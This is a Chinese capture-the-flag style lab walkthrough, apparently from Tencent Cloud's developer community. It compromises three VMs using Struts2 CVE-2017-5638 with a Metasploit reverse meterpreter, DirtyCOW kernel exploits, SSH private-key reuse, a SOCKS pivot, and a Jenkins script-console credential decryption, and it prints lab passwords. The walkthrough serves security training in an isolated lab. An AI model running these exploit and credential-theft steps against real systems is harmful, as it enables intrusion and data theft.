
靶场编号: #189 · 难度方向: Web DMZ → 内网横向 涉及技术: Struts2 RCE · 内核提权 · SSH 密钥复用 · SOCKS 代理穿透 · Jenkins 凭据解密

本次靶场共三台 Linux 主机,模拟一个典型的企业内网"站库分离"架构:
主机 IP | 角色 | 对外可达 |
|---|---|---|
172.16.250.10 | Web 服务器(入口机) | ✅ 可直接访问 |
172.16.250.30 | 内网 Web 应用 | ❌ 仅内网访问 |
172.16.250.50 | 数据库服务器 | ❌ 不出网 |
hacker / changeme.10 上的 Struts2 漏洞获取 Shell → 提权 → 横向移动到 .30 和 .50外网入口(.10) → 代码执行 / 提权 → 内网横向(.30) → 数据库(.50)https://secplanet.sfo2.cdn.digitaloceanspaces.com/THP-csk-lab.zip
VMware 路径: 编辑 → 虚拟网络编辑器 → 更改设置
修改子网 IP 为 172.16.250.0,类型保持"段内可通讯"即可,用来模拟内网隔离环境。

打开三台虚拟主机,先扫一下存活主机:
nmap -sn 172.16.250.0/24刚好三台,符合预期。

然后对这三台机器做全端口详细扫描:
nmap -A -p- 172.16.250.10 172.16.250.30 172.16.250.50扫描结果汇总:
IP | 开放端口 / 特点 |
|---|---|
172.16.250.10 | 22 (SSH)、80 (nginx + OpenCms)、8009 (AJP)、8080 (Tomcat 7) |
172.16.250.30 | 仅 22 (SSH) |
172.16.250.50 | 仅 22 (SSH) |
💡 很明显:.10 是入口机,.30 / .50 是横向移动目标,只有 SSH 对外,说明内网还有服务隐藏着。
访问 80 端口:
http://172.16.250.10/跑的是 OpenCms:

访问 8080 端口:
http://172.16.250.10:8080/标准的 Tomcat 页面:

尝试在 Kali 上搜 OpenCms 的漏洞:
searchsploit opencms
基本都是 XXE 文件读取,没什么直接 RCE 的利用,先搁置。
再跑一下目录:
dirsearch -u http://172.16.250.10/
也没发现啥有用的。到这里其实有点没头绪,后来翻 WP 才知道有这么一个路径:
http://172.16.250.10/struts2-showcase/showcase.action
这是 Struts2 Showcase Demo,官方演示程序,很多靶场都会装这个当入口。看到这个基本就知道该怎么打了。
打开 MSF,搜 Struts2:
msfconsole
search struts2
选用模块:
use exploit/multi/http/struts2_content_type_ognl📌 对应漏洞:CVE-2017-5638,通过 Content-Type 头注入 OGNL 表达式实现远程代码执行。
注意默认 payload 是 Windows 的:

目标是 Linux,要手动切换:
set payload linux/x86/meterpreter/reverse_tcp
set RHOSTS 172.16.250.10
set RPORT 80
show options
配置没问题,直接打:
run
getuid
✅ 成功拿到 tomcat 权限,下一步是提权到 root。
先获取交互式 Shell:
shell
python -c 'import pty; pty.spawn("/bin/bash")' #不行
python3 -c 'import pty; pty.spawn("/bin/bash")'⚠️ 注意:这台机器没有
python,只有python3。


或者用这个也行:
script -qc /bin/bash /dev/null
方法很多,选一个能用的就行。
先找 SUID 文件:
find / -perm -u=s -type f 2>/dev/null没啥能用的。

试一下 sudo:
sudo -l需要密码,跳过。

查内核版本,看看有没有内核漏洞可以打:
uname -a
searchsploit overlayfs
复制利用代码:
searchsploit -m linux/local/37292.c退回 MSF session,上传文件:
upload 37292.c /tmp/37292.c
编译并执行:
gcc 37292.c -o exp
chmod 777 ./exp
./exp

有警告但能编译。结果执行发现不适配当前内核环境,宣告失败。


📌 模块:
40688.rb
use exploit/linux/local/overlayfs_priv_esc
background
set SESSION 1
run同样失败,这台机器的内核版本就是不吃这套。
searchsploit dirty cow
searchsploit -m linux/local/40839.c
sessions 1
upload 40839.c /tmp/
shell
cd /tmp
gcc 40839.c -o cow -lcrypt -lpthread
chmod +x cow
./cow输入密码 123456 后 su firefart……又崩了。


searchsploit -m linux/local/40616.c
upload 40616.c /tmp/
shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
cd /tmp
gcc 40616.c -o cowroot -pthread
chmod +x cowroot
./cowroot
🎉 成功提权!
执行完之后,建议立刻运行以下命令保持利用稳定,不然系统很容易随机崩掉:
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic
echo 1 > /proc/sys/kernel/panic_on_oops
echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi
echo 1 > /proc/sys/kernel/panic_on_io_nmi
echo 1 > /proc/sys/kernel/panic_on_warn⚠️ 千万别一次性全部复制粘贴执行! 一条一条来,否则可能造成系统崩溃。
关于把自己主机干蓝屏这件事……(doge)

提权成功后,先看看网卡信息:
ifconfig
只有一个网段,确认网络拓扑。
然后去翻一下应用配置文件,找数据库连接信息:
cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties
找到了关键信息:
# WEB站点
IP地址:172.16.250.10
端口号:80
# 数据库
IP地址:172.16.250.50
端口号:3306
# 站库分离
账号密码:store / WTWOIUEfjSLeij📝 这就是典型的站库分离架构,Web 和数据库分别跑在不同机器上。
翻一下历史命令,找到SSH 连接记录:
cat ~/.bash_history
发现有 SSH 连接记录,再去读一下密钥:
cat ~/.ssh/id_rsa
复制 SSH 私钥到本地(保存为 ssh.txt),尝试免密登录 .30 机器:
ssh -i ssh.txt root@172.16.250.30
✅ 成功登录 .30 机器!
进去之后发现有个用户叫 jenkins:

合理怀疑这台机器跑了 Jenkins 服务。查一下本机监听的端口:
netstat -tlnp参数说明:
-tTCP /-l监听中 /-n数字显示 /-p显示进程

果然有 8080 端口在监听,但之前 nmap 外部扫描没扫到,说明这个服务只对内网开放。
直接从外部访问果然不行:

在 .10 机器上试试:
curl http://172.16.250.30:8080
有响应!那就在 .10 建立 SOCKS 代理节点,把流量代理过去。
退回 MSF session(不要 ctrl+c 或 exit,会话会直接中断! 用 background):
background
use multi/manage/autoroute
set session 4
run让流量通过 .10 机器走。
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4a
run确认模块运行状态:
jobs
# /etc/proxychains4.conf
socks4 127.0.0.1 1080尝试用
proxychains firefox结果不好使,有限制,比较麻烦,直接改浏览器代理配置更省事。


可以正常访问了!
💡 原理说明: 流量走
127.0.0.1:1080,MSF 监听到数据后通过.10节点转发给.30机器,实现外部访问内网服务。
如果想让本机(非 Kali)也通过这个节点访问内网,需要把监听地址从 127.0.0.1 改为 0.0.0.0(允许任意来源连接):
jobs -k 0 # 先关掉之前那个
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0 # 关键:允许任何机器连接你的 Kali
set SRVPORT 1080
set VERSION 4a
run方式一:浏览器插件(推荐)
配置 SOCKS4 代理指向 Kali IP:1080,启动就能访问了。


方式二:代理工具(Proxifier)




结果测试半天浏览器就是不走流量,试了半天才知道是软件问题

⚠️ 注意:Proxifier Portable Edition(非安装版)不注入系统驱动,无法拦截任意进程的流量,Applications 写
Any完全没用。所以这里用 Portable 版试了半天没反应,换回浏览器插件解决。
也可以直接用 curl 测试通路:
curl --socks4 172.16.250.128:1080 http://172.16.250.30:8080/有正常回显,通信没问题。

继续访问 Jenkins:
http://172.16.250.30:8080/jenkins/💡 直接访问
8080是 Tomcat,Jenkins 路径是/jenkins/,用proxchains dirsearch还把msf扫崩了,翻wp才知道路径是/jenkins/……

点进去可以看到有两个凭据账户:

第一个:root 账户


就是之前从 .10 拿到的那个 SSH 私钥,对应 .30 的 root 登录。
第二个:db_backup 账户

密码前端是隐藏的,简单改改
发现一段加密字符串:
2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=这是数据库用户(.50 机器)的密码,明显加密了,需要解密。
Jenkins 自带脚本控制台,可以直接解密:

println hudson.util.Secret.decrypt("2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=")
解密得到明文密码:
)uDvra{4UL^;r?*h📌 Jenkins 使用
hudson.util.Secret对凭据加密,密钥存储在 Jenkins 主目录的secret.key文件中,通过 Groovy 脚本可以直接在 Jenkins 内解密。这是 Jenkins 凭据审计中的常见利用点。
拿到密码,可以直接 SSH 连接 .50 的数据库备份账户:
ssh db_backup@172.16.250.50
看一下 sudo 权限:
sudo -l惊喜,直接可以提权:
sudo su✅ 成功获取 .50 数据库服务器的 root 权限!

[kali外网]
│
▼
.10 (172.16.250.10)
├─ Struts2 CVE-2017-5638 → RCE (tomcat权限)
├─ DirtyCOW 40616 → root提权
├─ 读取 opencms.properties → 发现数据库IP(.50)
└─ 读取 ~/.ssh/id_rsa → SSH私钥
│
▼
.30 (172.16.250.30)
├─ SSH私钥免密登录 root
├─ Jenkins 8080 仅内网开放
├─ MSF autoroute + socks_proxy 穿透内网
└─ Jenkins 脚本控制台解密凭据
│
▼
.50 (172.16.250.50)
├─ db_backup + 解密密码 SSH登录
└─ sudo su → root这次靶场环境问题确实有点多,整理一下踩过的坑:
Any 进程规则没用,直接改浏览器代理省事多了/jenkins/ 下,没 WP 真不好找蚌埠住了,但最后全打通了,还是值得的 🎉
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。